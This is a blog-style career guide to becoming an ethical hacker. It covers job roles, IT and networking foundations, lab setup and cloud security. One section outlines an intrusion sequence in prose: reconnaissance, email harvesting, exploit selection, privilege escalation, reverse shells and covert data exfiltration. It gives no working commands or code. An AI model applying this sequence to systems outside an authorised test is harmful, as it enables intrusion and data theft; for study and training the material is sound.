Tag: ethical hacking

  • So You Want to Be a Hacker: 2025 Edition

    So You Want to Be a Hacker: 2025 Edition

    Growing up in the 90s inundated me with images of hackers portrayed as mysterious, hoodie-clad figures breaking into systems with a few keystrokes. Little did I know then that this portrayal wasn’t far from reality, albeit with a twist. Today, as someone deeply immersed in the tech industry, I’ve come to appreciate ethical hacking as one of the most captivating fields out there.

    Ethical hacking isn’t just about breaking into systems; it’s a dynamic blend of strategy, problem-solving, and constant learning. Picture it as an ongoing chess match between security measures and potential vulnerabilities. You’re either honing your skills to penetrate systems and uncover flaws or fortifying defenses to keep would-be intruders at bay.

    In this guide, I’ll take you on a journey through the essential skills and requirements needed to become an Ethical Hacker. We’ll delve into how to acquire these skills, addressing common questions along the way.

    So, whether you’re a coding novice or a seasoned tech enthusiast, by the end of this guide, you’ll be well-equipped to kickstart your journey into the captivating realm of Ethical Hacking. So, grab a coffee, settle in, and let’s embark on this exciting adventure together! This is not your normal article we got most of the topic covered here…

    Why to Choose Ethical Hacking for Career?

    So why should you consider diving into the world of ethical hacking for your career? Well, let me break it down for you.

    First off, ethical hacking is like being a digital detective. You get to uncover all the sneaky tricks hackers use to break into systems, but here’s the kicker – you’re the good guy. You’re using your skills to protect companies and organizations from getting hacked.

    Imagine this: You’re getting paid to play the ultimate game of cat and mouse. Hackers are constantly coming up with new ways to break into systems, and it’s your job to outsmart them. It’s like being in a never-ending puzzle-solving adventure, and who wouldn’t want to get paid for that?

    Plus, the money’s pretty good in this field. Companies are willing to shell out big bucks to keep their systems secure, which means you can make a decent living doing what you love.

    But here’s the best part – there’s always something new to learn. Technology is always evolving, which means there are endless opportunities to expand your skills and stay ahead of the game.

    So, if you’re someone who loves a challenge, enjoys problem-solving, and wants to make a difference in the digital world, ethical hacking might just be the perfect career for you.

    What Is the Attraction of an Ethical Hacking Career?

    The allure of an ethical hacking career is like being drawn to a mystery waiting to be solved.

    For starters, there’s the thrill of the chase. Ethical hackers get to play the role of cyber detectives, hunting down vulnerabilities before the bad guys do. It’s a constant battle of wits, where every exploit uncovered feels like a victory for the good guys.

    Then there’s the intellectual challenge. Ethical hacking is a field that constantly pushes you to think outside the box. You’re not just following a set script; you’re using your creativity and problem-solving skills to outsmart the hackers. It’s like being in a never-ending game of chess, where every move counts.

    But perhaps the most rewarding aspect is the sense of purpose. In a world where cyber threats are ever-present, ethical hackers are the unsung heroes, quietly working behind the scenes to keep our digital world safe. Knowing that your work is making a difference, protecting businesses and individuals from harm, is incredibly gratifying.

    And let’s not forget the perks. Ethical hacking offers competitive salaries, ample job opportunities, and the flexibility to work in various industries. Plus, there’s the satisfaction of being part of a community of like-minded individuals, sharing knowledge and collaborating to tackle new challenges.

    How long does it take to become an Ethical Hacker?

    Becoming an ethical hacker can be a bit like leveling up in a video game—it depends on how far you want to go and how quickly you can pick up new skills. If you’re aiming for a junior position, you could get the basics down pat in as little as 3 to 6 months, or even faster if you’re a quick learner.

    But here’s the thing: The journey doesn’t stop there. If you’re eyeing more senior or specialized roles, you’ll need to keep leveling up your skills and gaining real-world experience. That might mean diving deeper into specific areas of cybersecurity or racking up a few years of hands-on practice.

    My advice? Start by mastering the essentials to get your foot in the door, then hit the ground running. The sooner you start gaining experience, the sooner you can start climbing the ladder to higher-paying positions.

    Types of Job Roles For Ethical Hackers

    Ethical hackers have a diverse range of job roles to choose from, each with its own set of responsibilities and requirements. Here’s a rundown of some common job roles you might encounter in the world of ethical hacking:

    Let’s Understand these Job Roles …

    1. Ethical Hacker / Penetration Tester:

    • Hacking for good with written permission.
    • Simulation Attacks on Network.
    • Tries Not to Harm the infrastucture during Live attacks.
    • Takes care of informative to High impact bugs.
    • Provides a full test report and finding (Report writting).
    • Need Good Communication skills.
    • Part of Red team

    2. Chief information Security Officer (CISO)

    • Head of Security Team
    • Directs the Strategy, operations & Budget for security.
    • Responsible for major Security Decisions

    3. Malware Analyst

    • Identifies malware in a Computer or Network.
    • Reverse Engineer malware to understand its functionality.
    • Identifies ways to detect and prevent the malware from spreading.

    4. Exploit Developer

    • Researches vulnerabilities in software and systems.
    • Develops specialized code to exploit identified vulnerabilities.
    • Tests and refines exploit code for effectiveness and safety.
    • Collaborates with security teams to validate findings and enhance defenses.
    • Contributes to improving overall security posture of organizations.

    5. Incident Responder / Forensic Analyst

    • Helps to analyze/recover erased/encrypted data.
    • Analyzes and Monitors all network activities and logs.
    • Helps to identify intrusions or suspicious activities inside network.
    • Part of Blue Team.
    • Works with Red team to fix the Bugs and Vulnerabilities

    6. Cryptographer

    • Designs and analyzes cryptographic algorithms and protocols.
    • Develops encryption and decryption techniques to secure data.
    • Conducts research to stay ahead of emerging cryptographic threats.
    • Collaborates with security teams to implement cryptographic solutions.

    7. Security Researchers

    • Conducts in-depth analysis of security vulnerabilities and threats.
    • Identifies weaknesses in software, systems, and networks.
    • Explores new attack vectors and trends in cyber threats.
    • Collaborates with security teams to develop mitigation strategies.
    • Contributes to the advancement of cybersecurity knowledge through research and publications.

    8. Security Architect

    • Designs and implements security solutions for organizations.
    • Develops architecture to protect against cyber threats.
    • Collaborates with stakeholders to understand security requirements.
    • Evaluates and selects security technologies and products.

    9. Security Engineer

    • Implements and maintains security technologies within organizations.
    • Configures and manages firewalls, intrusion detection systems, and encryption tools.
    • Troubleshoots security issues and responds to incidents.
    • Collaborates with other IT teams to integrate security controls.
    • Implements security policies and procedures to mitigate risks.

    10. Security Analyst

    • Monitors and analyzes security events and incidents.
    • Detects and responds to security breaches and threats.
    • Conducts forensic investigations to determine the root cause of incidents.
    • Generates reports and recommendations for improving security posture.
    • Works closely with other IT teams to implement security controls and measures.

    11. Security Operation Center (SOC)

    • Security Operations Center (SOC) monitors and manages organization’s security.
    • Analysts detect, investigate, and respond to security incidents.
    • They use specialized tools to monitor networks for threats.
    • SOC plays a critical role in maintaining overall security.

    Before We Begin…

    The world of cybersecurity, with its various branches like ethical hacking, application security, penetration testing, and bug bounties, is gaining popularity among people of all ages and backgrounds worldwide. The increasing community, rising cyber threats, and the demand for skilled professionals contribute to this growing interest.

    Yet, for beginners, entering this domain can seem like stepping into an ocean. Where should one start? What should be learned first? The sheer amount of information can be overwhelming, leading to doubts and questions like, “Will it take years for me to catch up?” or “Is there a shortcut, or should I just give up?”

    As someone who often receives such inquiries, I understand the confusion and uncertainty. Hence, this blog aims to address these questions and provide a concise learning path based on my perspective on how to start a journey in cybersecurity.

    Cybersecurity is vast and encompasses various career options. When someone mentions cybersecurity, it may not always be clear which specific domain they are referring to. It could be bug bounty hunting, blue teaming, cyber forensics, or something else entirely. Therefore, let’s first break down some general career options in cybersecurity to help you clarify your goals.

    But before we delve into resources, there are a few crucial points I must emphasize. Firstly, building a strong foundation in IT is paramount before delving into advanced hacking techniques. Think of your hacking career as a house—without a solid foundation, it’s prone to collapse. Similarly, skipping foundational skills can leave you feeling lost and overwhelmed, potentially discouraging you from pursuing the hacker path.

    Secondly, ethical hacking is undoubtedly an enticing field. It offers the allure of getting paid to break into networks, applications, and even physical buildings. The high salaries in this field reflect the demand for skilled professionals. However, it’s essential to recognize that choosing a career solely for financial gain is misguided. Hacking requires dedication, constant learning, and a genuine passion for the craft. Simply put, if hacking excites you, the money is just a bonus. But remember, complacency has no place in this field. You must be prepared to be a lifelong learner, staying abreast of new exploits and defenses to remain competitive.

    Start the Journey

    If you’re just starting to explore the realms of hacking, it’s essential to build a solid foundation of basic knowledge. Here’s a roadmap to get you started:

    1. Computer Fundamentals:

    Computer fundamentals encompass a wide range of skills, including the ability to build, troubleshoot, and maintain computer systems. This skillset is essential for roles in help desk support and lays a solid foundation for further IT and cybersecurity studies. Here’s what you should focus on:

    • Building a Computer: Learn how to assemble a computer from individual components such as the motherboard, CPU, RAM, storage drives, power supply, and peripherals. Understand how these components interact to create a functional system.
    • Identifying Parts: Familiarize yourself with the various components of a computer and their functions. This includes understanding the role of the CPU (Central Processing Unit), RAM (Random Access Memory), GPU (Graphics Processing Unit), motherboard, hard drives (HDDs and SSDs), optical drives, and expansion cards.
    • Troubleshooting and Fixing Issues: Develop the ability to diagnose and resolve common hardware and software issues that computer users encounter. This includes troubleshooting problems with hardware components, operating system errors, driver issues, and software conflicts.

    To gain proficiency in computer fundamentals, consider pursuing certifications such as the CompTIA A+ certification (current version 220-1101 & 220-1102). This certification is widely recognized in the IT industry and covers essential topics related to hardware, software, networking, and security.

    If you’re new to IT and starting from scratch, here are some recommended resources to help you get started:

    • CompTIA A+ Certification Study Guide: Utilize study guides specifically designed for the CompTIA A+ certification exam. These guides cover all the topics you need to know to pass the exam and build a strong foundation in computer fundamentals.
    • Online Courses: Enroll in online courses that offer comprehensive training in computer hardware, software, and troubleshooting skills. Look for courses that include hands-on labs and practical exercises to reinforce your learning.
    • Practice Labs: Set up a home lab environment where you can practice building and troubleshooting computers. Use virtualization software to simulate different hardware configurations and operating systems, allowing you to gain hands-on experience in a safe and controlled environment.
    1. Operating System:

    An operating system (OS) is the foundation of any computer system, facilitating communication between hardware and software. Understanding both Windows and Linux operating systems is crucial for aspiring cybersecurity professionals. Here’s what you should focus on:

    • Windows OS: Familiarize yourself with the various versions of the Windows operating system, including their features, improvements, and differences. Don’t be afraid to encounter errors; every possible issue has likely been discussed online, providing ample resources for troubleshooting. Practice performing day-to-day tasks in the Windows OS environment and gain proficiency in basic troubleshooting techniques. Gain proficiency in performing common administrative tasks in Windows, such as managing auto-start locations, using registry editors, manipulating services, and utilizing the task manager. These skills are essential for both defending and attacking Windows systems.
    • Linux OS and Uses, Different Distributions: Linux is an open-source operating system that offers versatility and customization options. Learn about the Linux kernel, which serves as the core of the operating system, and understand its functions. Explore different Linux distributions (distros) and their unique characteristics. Gain insights into the basic differences between Linux distributions, such as package management systems, desktop environments, and target user bases. Just like Windows, having basic Linux administrative knowledge is essential in the world of cybersecurity and hacking. Linux is ubiquitous, powering everything from web servers to mobile devices, TVs, and more. Therefore, understanding Linux to some extent is crucial.

    It’s essential to recognize that the debate over the best OS for hackers is futile. The effectiveness of a hacker is not determined by the operating system they use but by their skills, knowledge, and ability to adapt to different environments. Both Windows and Linux platforms are equally capable of most tasks in cybersecurity. Whether you choose a Linux distro or Windows, focus on installing the necessary applications and tools required for your work.

    Avoid falling into the trap of so-called “hacking” OS distributions, which often comprise a collection of tools that may not be practical for everyday use. Instead, focus on mastering your chosen operating system and customizing it to suit your specific needs and preferences. Remember, it’s not about the OS you use; it’s about your proficiency in utilizing it to accomplish your tasks effectively.

    You can check Our Linux Playbook For Hackers for the fundamentals to advanced topics covered

    1. Learning How to do Google Search like Hackers

    Mastering the art of effective Google searching is perhaps the most critical skill for any aspiring hacker. It’s not just about typing keywords into the search bar; it’s about understanding how to refine your queries to yield the most relevant results. Here’s why it’s crucial:

    • Searching/Researching: The ability to search and research effectively is what sets hackers apart. It’s the cornerstone of problem-solving and finding solutions. Whenever you encounter a challenge or need information, turn to Google and search for it. You’ll find that you can resolve 99% of problems or at least find something closely related to the issue and its solution.
    • Start by Searching: Begin by searching for topics relevant to your interests and goals. Whether it’s learning how to become a hacker, following a penetration tester roadmap, or understanding how websites work, Google is your go-to resource.
    • Never Stop Reading: Don’t limit yourself to just one page of search results. Take the time to explore multiple pages and read different sources. Each page you visit adds to your knowledge base and helps you gain a deeper understanding of the topic at hand.
    • Deep Web/Dark Web: Contrary to popular belief, the real “deep web” or “dark web” is not some mysterious part of the internet accessible only through specialized browsers. In reality, it’s often found on the second page of Google search results. Always remember to venture beyond the first page of search results, as you may uncover valuable information that wasn’t readily apparent initially.
    1. Learning about Cyber Security, Hacking, Penetration Testing, and More

    To embark on your journey into the world of cybersecurity, it’s crucial to understand the foundational concepts and various domains within the field. Here’s how you can start:

    • What is Cyber Security?

    Search for definitions and explanations of cybersecurity. Understand its importance in protecting digital assets, data, and systems from cyber threats.

    • What is Hacking?

    Explore different perspectives on hacking and its various forms. Learn about ethical hacking (white hat), malicious hacking (black hat), and the gray areas in between.

    • Why Do We Need Cyber Security?

    Research the importance of cybersecurity in today’s digital age. Understand the risks posed by cyber threats and the consequences of inadequate security measures.

    • What Hackers Do?

    Delve into the activities and motives of hackers. Learn about common hacking techniques, such as phishing, malware attacks, and social engineering.

    • What Are Jobs in Cyber Security?

    Search for different roles and positions within the cybersecurity field. Explore job titles such as cybersecurity analyst, penetration tester, security engineer, and more.

    • What Skills Are Needed to Get a Job in Cyber Security?

    Identify the key skills and competencies required for various cybersecurity roles. These may include technical skills like network security, programming, and cryptography, as well as soft skills like communication and problem-solving.

    • Roles and Responsibilities of Cyber Security Jobs

    Visit job websites like LinkedIn to explore the roles and responsibilities of cybersecurity positions. Gain insights into the day-to-day tasks and requirements of roles you’re interested in pursuing.

    • Recent News Related to Cyber Security

    Stay updated on the latest developments and news in the cybersecurity field. Explore reputable websites and publications to learn about emerging threats, industry trends, and best practices.

    Remember to approach your learning with curiosity, research diligently, and be patient with your progress. Don’t rely on Hollywood portrayals of hacking, as they often exaggerate or misrepresent the realities of cybersecurity. Instead, seek knowledge from reliable sources and question what you learn to deepen your understanding.

    Towards Basic Knowledge of Security & Hacking

    1. Computer Programming ( Start basics )

    Embarking on your journey into security and hacking, it’s crucial to dip your toes into computer programming. Here’s where to start:

    • Start with Basics: Choose one or two programming languages and dedicate at least 20 hours to learning them. Popular choices include Python, JavaScript, or any other language you’re interested in.
    • Is Programming Really Necessary for Hacking?

    No, it’s not an absolute requirement, but here’s the catch: Can you truly be a proficient hacker without understanding basic programming? The chances are quite rare.

    • Choosing a Programming Language:

    Which language should you learn? It depends on your future goals. However, grasping the basics of programming is always beneficial. Here’s why:

    1. Python: Known for its simplicity and versatility, Python is widely used in hacking for its ease of learning and powerful libraries. It’s great for automating tasks and making your life easier.
    2. JavaScript: With the ubiquitous use of JavaScript in web development, understanding its basics is essential. It’s rare to find a website these days that doesn’t utilize JavaScript in some form.
    3. Other Languages: While Python and JavaScript are highly recommended, learning additional languages like C++, Java, or even newer ones like Go (Golang) can broaden your skill set and enhance your understanding of different programming paradigms.
    • Why Learn Multiple Languages?

    Imagine encountering a website built on a framework you’re unfamiliar with or needing to decipher VBScript or C++ code to complete a task. Knowing multiple languages gives you the flexibility to adapt and overcome such challenges.

    • Automating Tasks with Python:

    Python shines in automating day-to-day tasks, making it an invaluable tool for hackers. Whether it’s writing scripts to streamline processes or developing custom tools, Python’s simplicity and readability are unmatched.

    • Adapting to the Changing Landscape:

    The tech world is constantly evolving, and new languages and frameworks emerge regularly. By staying adaptable and continuously learning, you’ll be better equipped to tackle the challenges of hacking in an ever-changing environment.

    Investing time in learning programming basics lays a strong foundation for your journey into security and hacking. Embrace the opportunity to explore different languages and expand your skill set, knowing that each new language learned opens doors to new possibilities and insights.

    1. Cyber Security & Hacking Terms

    In the vast landscape of cybersecurity and hacking, certain terms and jargon recur frequently. It’s essential to familiarize yourself with these terms to avoid confusion and navigate discussions effectively. Here are some key terms to search and learn:

    • Vulnerability: Weaknesses or flaws in a system that can be exploited to compromise security.
    • Exploit: A piece of software or code that takes advantage of a vulnerability to carry out an attack.
    • Threat: Any potential danger to a system or network, including malware, hackers, or other malicious actors.
    • Malware: Malicious software designed to infiltrate or damage a computer system.
    • Virus: A type of malware that spreads by attaching itself to other programs or files.
    • Botnet: A network of compromised computers controlled by a central server or hacker for malicious purposes.
    • Cloud: A network of remote servers hosted on the internet to store, manage, and process data.
    • Firewall: A security device or software that monitors and controls incoming and outgoing network traffic based on predetermined security rules.
    • Ransomware: Malware that encrypts a victim’s files or system and demands a ransom for their release.
    • Trojan: A type of malware disguised as legitimate software to deceive users and gain unauthorized access to their systems.
    • Worm: A self-replicating malware that spreads across networks without user intervention.
    • Spyware: Software that secretly gathers information about a user’s activities without their knowledge.
    • Adware: Software that displays advertisements on a user’s device, often without their consent.
    • Rootkit: A type of malware that provides unauthorized access to a computer system while hiding its presence from users and security software.
    • Phishing: A social engineering technique used to trick individuals into revealing sensitive information, such as passwords or financial details, by posing as a trustworthy entity.
    • Spear Phishing: A targeted phishing attack that tailors messages to specific individuals or organizations to increase the likelihood of success.
    • DoS (Denial of Service): An attack that disrupts or disables a network or service by flooding it with excessive traffic or requests.
    • DDoS (Distributed Denial of Service): A DoS attack carried out from multiple sources to overwhelm a target’s resources.
    • Encryption: The process of converting data into a secure form to prevent unauthorized access.
    • Encoding: The process of converting data into a specific format for transmission or storage purposes.
    • Penetration Testing: The practice of testing a system, network, or application for vulnerabilities and weaknesses by simulating real-world attacks.
    • Vulnerability Scanning: The process of identifying and assessing vulnerabilities in a system or network.
    • Social Engineering: The use of psychological manipulation to deceive individuals into divulging confidential information or performing actions that compromise security.
    • Clickjacking: A technique used to trick users into clicking on malicious links or buttons disguised as legitimate elements on a webpage.
    • White-Hat: Ethical hackers who use their skills for defensive purposes to identify and mitigate security vulnerabilities.
    • Black-Hat: Malicious hackers who exploit vulnerabilities for personal gain or malicious intent.
    • SAST (Static Application Security Testing): A security testing technique that analyzes source code for vulnerabilities without executing the program.
    • DAST (Dynamic Application Security Testing): A security testing technique that analyzes running applications for vulnerabilities by sending requests and observing responses.
    • APT (Advanced Persistent Threat): A sophisticated, long-term cyberattack carried out by a well-funded and highly skilled adversary.
    • Authentication: The process of verifying the identity of a user or system attempting to access resources.
    • Authorization: The process of granting or denying access to resources based on the user’s identity and permissions.
    • Bug: An error, flaw, or fault in a system or software program that may cause unexpected behavior or vulnerabilities.

    And the list goes on. Continuously expand your knowledge by researching and understanding these terms, as they form the building blocks of cybersecurity and hacking concepts.

    1. Computer Networks

    Importance of Networks:

    • Networks serve as the vital infrastructure that enables communication, data exchange, and resource sharing among devices.
    • They provide access to the internet and external resources, facilitating research, communication, and online activities.
    • Networks underpin the connectivity within organizations and across the globe, forming the cornerstone of contemporary computing.

    Key Network Concepts:

    1. Understanding Network Devices: Delve into the roles and functionalities of essential network components such as routers, switches, modems, firewalls, and load balancers.
    2. Mastering IP Addressing: Grasp the intricacies of IP addressing, encompassing public/private IP addresses, subnetting, IP ranges, and the distinctions between classful and classless addressing schemes.
    3. Navigating OSI Layers & TCP/IP Model: Explore the layers of the OSI model and the TCP/IP protocol suite, offering a comprehensive framework for comprehending network communication protocols.
    4. Unraveling the Server-Client Model: Examine the server-client architecture and its pivotal role in facilitating communication and data exchange across networked devices.
    5. Demystifying DNS Resolution: Understand the intricacies of Domain Name System (DNS) resolution, elucidating the process of translating domain names into corresponding IP addresses.
    6. Harnessing Proxies and VPNs: Discover the functionalities of proxies (both forward and reverse) and virtual private networks (VPNs) in bolstering security and anonymizing network traffic.
    7. Exploring Firewalls and Load Balancers: Delve into the functionalities of firewalls for network security enhancement and load balancers for optimizing traffic distribution across multiple servers.
    8. Navigating Ports and Protocols: Familiarize yourself with network ports and their applications, including common ports utilized for specific services and protocols such as SSH, FTP, HTTP/HTTPS, and SSL/TLS.
    9. Grasping DHCP and SSL: Gain insights into the significance of Dynamic Host Configuration Protocol (DHCP) in dynamically assigning IP addresses and Secure Sockets Layer (SSL) for ensuring secure data transmission over the internet.

    Operating Systems and Network Fundamentals:

    • Subnetting Basics: Acquire fundamental knowledge of subnetting concepts, distinguishing between public and private IP addresses, and understanding essential terms like localhost, CIDR, subnet mask, and default gateway.
    • Network Terminology Mastery: Familiarize yourself with essential network terminologies, including VLAN, DMZ, ARP, VM, NAT, IP, DNS, and DHCP.
    • Operating System Integration: Learn the installation, configuration, and troubleshooting of networking components across various operating systems, ensuring seamless integration and functionality.
    • Protocol Proficiency: Explore common network protocols, network topologies, and the OSI model, comprehending the function of each OSI layer and their implications in network communication.
    • Topology Insights: Examine diverse network topologies such as star, ring, mesh, and bus, while also gaining insights into common protocols and their applications.
    • Protocol Deep Dive: Dive into protocols such as SSH, RDP, FTP, SFTP, HTTP/HTTPS, and SSL/TLS, unraveling their basics, functionalities, and practical applications.
    • Port Understanding: Acquire a comprehensive understanding of common ports and their applications in network communication, enhancing your ability to navigate networked environments effectively.
    • Storage Fundamentals: Gain insights into Network-Attached Storage (NAS) and Storage Area Network (SAN), understanding their significance in data storage and accessibility within networked environments.

    We Got this Covered in Our Computer Networking : All-in-One For Dummies . Designed for beginners and enthusiasts alike, this book offers a thorough exploration of fundamental concepts, and advanced topics in networking.

    1. Lab Setup : Building Your Virtual Environment

    Setting up a lab environment is crucial for hands-on learning and experimentation. Here’s how to get started:

    1. Choose Virtualization Software:

    • Research and select virtualization software suitable for your operating system (OS), such as VirtualBox, VMWare Player/Workstation, VMWare Fusion, HyperV, or Parallels.
    • Compare the features and functionalities of different virtualization software to determine the best fit for your needs.

    2. Understand Network Modes:

    • Familiarize yourself with network modes in virtualization software, including common types like Bridged, NAT (Network Address Translation), and Host-Only Network.
    • Explore the purposes and usage scenarios for each network mode to make informed decisions during lab setup.

    3. Install Operating Systems:

    • Experiment with installing various operating systems (OS) on virtual machines (VMs), such as Windows and Linux distributions.
    • Practice setting up dual-boot configurations, installing both Windows and Linux on the same VM to understand compatibility and interoperability.

    4. Explore Windows Subsystem for Linux (WSL):

    • Learn about Windows Subsystem for Linux (WSL), a compatibility layer enabling native Linux command-line tools and utilities to run on Windows.
    • Experiment with WSL to understand its functionalities and explore the seamless integration of Linux within the Windows environment.

    5. Experiment with Snapshots and Backups:

    • Gain hands-on experience with snapshots and backups in virtual environments to safeguard your lab setups and configurations.
    • Practice taking snapshots of VMs at different stages of configuration and experimentation, allowing you to revert to specific states if needed.

    6. Leverage Online Resources:

    • Utilize online resources, tutorials, and documentation provided by virtualization software vendors and communities to troubleshoot issues and optimize your lab environment.
    • Engage with online forums, discussion boards, and user communities to seek guidance, share experiences, and collaborate with fellow enthusiasts.

    Discover: How to Set Up a Personal Lab for Ethical Hacking?

    Practical Hacking & Security

    Now that we’ve covered the basics of Windows, Linux, networks, programming, virtual machines, and essential hacking/security concepts, it’s time to put our knowledge into practice through practical hacking and security exercises. Setting up your own lab environment for experimentation and learning is not only legal but also highly encouraged. So, let’s dive in and start hacking!

    1. Network Hacking

    Information Gathering & Reconnaissance:

    Before launching into any hacking endeavor, it’s essential to gather as much information as possible about the target network. This phase involves various techniques:

    1. Host Discovery: Identify active hosts within the network using tools like Nmap, which allows you to probe for live hosts and discover their IP addresses.
    2. Network Scanning: Perform comprehensive network scans using Nmap to map out the network topology, identify open ports, and determine available services.
    3. Nmap Scan Types: Familiarize yourself with different Nmap scan types, including TCP SYN scan, TCP Connect scan, UDP scan, and more, each serving specific purposes in reconnaissance.
    4. Port Scan and Discovery: Conduct port scanning to enumerate open ports on target hosts, providing insights into potential entry points for exploitation.
    5. Scanning with Vulnerability Assessment Tools: Utilize advanced vulnerability assessment tools like Nessus or Qualys to identify security vulnerabilities across network devices and systems.
    6. Nmap Scripts: Leverage Nmap scripts (NSE scripts) to automate reconnaissance tasks and gather detailed information about target hosts, such as version detection, service enumeration, and vulnerability scanning.
    7. Active and Passive Search: Combine active scanning techniques, such as port scanning and network probing, with passive information gathering methods, such as analyzing publicly available data and passive DNS reconnaissance.
    8. Whois and Similar Searches: Use Whois lookup tools to retrieve domain registration information, IP address allocation details, and contact information of network administrators, aiding in reconnaissance efforts.
    9. Email Harvesting: Employ email harvesting techniques to collect email addresses associated with the target network, facilitating social engineering attacks or further reconnaissance.

    There are more info to gather so have a research and mainly seek what are you willing to hack so based on that gather the required info also not required may be it will be useful.

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    Weaponization, Delivery, Exploitation:

    After thorough reconnaissance, the next phase involves weaponizing identified vulnerabilities and exploiting them to gain unauthorized access to target systems. This process includes:

    1. Choosing Exploits: Select appropriate exploits based on reconnaissance findings, targeting vulnerabilities discovered during the scanning phase. This involves matching known vulnerabilities with available exploits.
    2. Metasploit Exploits and Meterpreter: Utilize Metasploit Framework, a powerful penetration testing tool, to leverage pre-built exploits and payloads for launching attacks against vulnerable systems. Meterpreter, a Metasploit payload, provides advanced post-exploitation capabilities for remote control and data exfiltration.
    3. Exploit-DB and Searchsploit: Explore Exploit-DB, a comprehensive database of exploits and vulnerabilities, to search for relevant exploits matching identified vulnerabilities. Additionally, leverage Searchsploit, a command-line utility, to quickly search Exploit-DB’s repository for relevant exploit code.
    4. 0day Exploits: In rare cases, if a previously unknown vulnerability (0day) is identified during reconnaissance, attempt to exploit it to gain unauthorized access. However, exercise caution and adhere to ethical hacking principles when handling 0day exploits.
    5. Mapping Open Ports/Services to Exploits: Map knowledge of open ports and services obtained during reconnaissance to specific exploits or attack techniques. Determine which exploits are applicable to target systems based on their exposed services and configurations.

    Exploitation & Command-Control:

    Once vulnerabilities have been successfully exploited, the focus shifts to establishing command and control over compromised systems, escalating privileges, and executing further attacks. This phase involves:

    1. Windows Privilege Escalation: Exploit weaknesses in Windows systems to elevate user privileges, granting unauthorized access to sensitive resources and functionalities. Techniques may include abusing misconfigurations, exploiting known vulnerabilities, or manipulating system components to gain higher privileges.
    2. Linux Privilege Escalation: Similarly, exploit vulnerabilities or misconfigurations in Linux-based systems to escalate privileges and gain root access. Techniques may involve exploiting SUID binaries, misconfigured sudo permissions, or kernel vulnerabilities to achieve elevated privileges.
    3. Reverse Shells: Deploy reverse shell payloads to establish command and control over compromised systems, allowing attackers to remotely execute commands and interact with compromised hosts. Reverse shells facilitate remote access and enable further exploitation and data exfiltration.
    4. Netcat (nc): Learn how to use Netcat, a versatile networking utility, to establish network connections, transfer files, and create reverse shells. Mastering Netcat is essential for conducting various post-exploitation activities and maintaining persistence on compromised systems.
    5. One-Liners for Shells: Familiarize yourself with one-liner commands that trigger and provide reverse shells, enabling quick and efficient establishment of command and control over compromised systems. These concise commands streamline the process of setting up remote access and executing further attacks.

    Resources:

    • GTFOBins: GTFOBins is a curated collection of Unix binaries that can be used to bypass local security restrictions, providing valuable insights into privilege escalation and post-exploitation techniques.
    • PentestMonkey: PentestMonkey offers a range of practical resources and cheat sheets for penetration testers and security professionals, covering various aspects of ethical hacking, including privilege escalation and data exfiltration.
    1. Data Exfiltration Techniques: Explore various methods and tools for exfiltrating sensitive data from compromised systems while maintaining covert communication channels. Techniques may include file transfer over network protocols, steganography, or encryption to conceal data during transmission.

    Well Mastering exploitation techniques, privilege escalation methods, and command-and-control mechanisms, security professionals can effectively establish control over compromised systems and execute further attacks or gather critical intelligence for security assessments.

    Network Sniffing and Analysis:

    Network sniffing plays a crucial role in cybersecurity by allowing security professionals to intercept and analyze network traffic for identifying vulnerabilities, suspicious activities, or potential security threats. Key aspects of network sniffing include:

    Wireshark & Packet Capture:

    • Wireshark is a powerful network protocol analyzer that enables the capture and inspection of network traffic in real-time.
    • Security professionals use Wireshark to analyze packets, identify communication patterns, and detect anomalies or malicious activities within network traffic.
    • Packet capture involves capturing and storing network packets for subsequent analysis, providing valuable insights into network behavior and potential security incidents.

    Man-in-the-Middle (MitM) Attacks:

    • MitM attacks involve intercepting and manipulating communication between two parties without their knowledge.
    • Attackers positioned as intermediaries can eavesdrop on communication, modify data packets, or inject malicious content into the traffic stream.
    • Security professionals utilize MitM techniques for security assessments, evaluating network vulnerabilities and implementing appropriate countermeasures to mitigate risks.

    TCPDump:

    • TCPDump is a command-line packet analyzer that allows security professionals to capture and analyze network traffic directly from the command line.
    • Similar to Wireshark, TCPDump enables packet capture and filtering based on various criteria, facilitating network troubleshooting, security monitoring, and forensic analysis.
    1. Cloud & Cloud Security:

    Cloud computing has revolutionized the way organizations manage and deliver IT services, offering scalability, flexibility, and cost-efficiency. Understanding cloud technologies and their security implications is essential for modern cybersecurity professionals. Key aspects of cloud and cloud security include:

    Cloud Skills and Knowledge:

    • Gain proficiency in cloud computing concepts, architectures, and services offered by major cloud providers.
    • Understand the shared responsibility model, which delineates security responsibilities between cloud service providers and customers.

    Cloud Services:

    • Familiarize yourself with common cloud service models:
      • Software as a Service (SaaS)
      • Platform as a Service (PaaS)
      • Infrastructure as a Service (IaaS)
    • Explore leading cloud platforms such as AWS, Google Cloud Platform (GCP), and Microsoft Azure.

    Basic Idea of AWS, Azure, and GCP:

    AWS (Amazon Web Services):

    • AWS is a comprehensive cloud computing platform offering a wide range of services, including computing power, storage, networking, databases, and more.
    • Security Concerns:
      • AWS Identity and Access Management (IAM): Manage user access and permissions to AWS resources.
      • Amazon Virtual Private Cloud (VPC): Create isolated virtual networks for enhanced security.
      • AWS Security Groups: Define firewall rules to control inbound and outbound traffic to AWS resources.
      • AWS Key Management Service (KMS): Securely manage encryption keys used to encrypt data stored in AWS.
      • AWS CloudTrail: Monitor and log AWS account activity to enhance security and compliance.

    Azure (Microsoft Azure):

    • Azure is a cloud computing platform by Microsoft, offering services for computing, analytics, storage, and networking.
    • Security Concerns:
      • Azure Active Directory (AAD): Manage user identities and access to Azure resources.
      • Azure Virtual Network (VNet): Create private networks in Azure with control over IP addresses, DNS settings, and security policies.
      • Azure Security Center: Provides unified security management and advanced threat protection across hybrid cloud workloads.
      • Azure Key Vault: Safeguard cryptographic keys and secrets used by cloud applications and services.
      • Azure Sentinel: Cloud-native security information and event management (SIEM) service for threat detection and response.

    GCP (Google Cloud Platform):

    • GCP is Google’s cloud computing platform offering a variety of services for computing, storage, machine learning, and data analytics.
    • Security Concerns:
      • Google Cloud Identity and Access Management (IAM): Manage access control for Google Cloud resources.
      • Virtual Private Cloud (VPC) Network: Isolate resources and control network traffic with customizable firewalls and routing tables.
      • Cloud Security Command Center: Provides security and data risk insights across GCP services.
      • Google Cloud Key Management Service (KMS): Manage cryptographic keys for cloud services and applications.
      • Google Cloud Armor: Protect web applications against distributed denial of service (DDoS) attacks and web threats.

    Docker Basics & Container Security:

    Docker Basics:

    • Docker is a popular platform for developing, shipping, and running applications using containerization technology.
    • Key Concepts:
      • Docker Engine: The runtime environment for containers.
      • Docker Images: Lightweight, standalone, executable packages that contain everything needed to run an application.
      • Docker Containers: Runnable instances of Docker images.
      • Dockerfile: Text file containing instructions for building Docker images.
